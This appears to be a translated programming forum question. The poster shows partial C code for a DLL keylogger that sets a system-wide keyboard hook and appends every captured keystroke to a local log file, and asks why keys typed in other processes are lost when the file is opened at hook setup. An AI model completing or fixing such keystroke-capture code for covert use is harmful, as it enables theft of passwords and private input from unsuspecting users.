我正在使用 Windows Hooks 制作键盘记录器。代码位于 DLL 中。键入的字符将写入文件。但是问题是,除了焦点在我的应用程序窗口上的字符之外,没有字符被记录到文件中。FILE * 已在共享内存段中声明。
#pragma data_seg("SHARED")
.
.
FILE* iFile = NULL;
#pragma data_seg()
如果我在钩子函数中打开文件,一切似乎都很好。
EXPORT LRESULT CALLBACK KHookProc(int nCode, WPARAM wparam, LPARAM lparam)
{
.
.
.
iFile = fopen("c:\\games\\log.txt","a+");
fwrite((char *)(&c),1,1,iFile);
fclose(iFile);
}
}
如果我在设置钩子(所有进程通用)时打开它,除了我的应用程序击键被捕获。
EXPORT void SetKBHook()
{
if(hhook==NULL)
{
hhook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KHookProc,g_hinstance,NULL);
if(hhook == NULL)
{
DWORD err = GetLastError();
err;
}
iFile = fopen("c:\\games\\log.txt","a+");
}
}
帮助。任何人?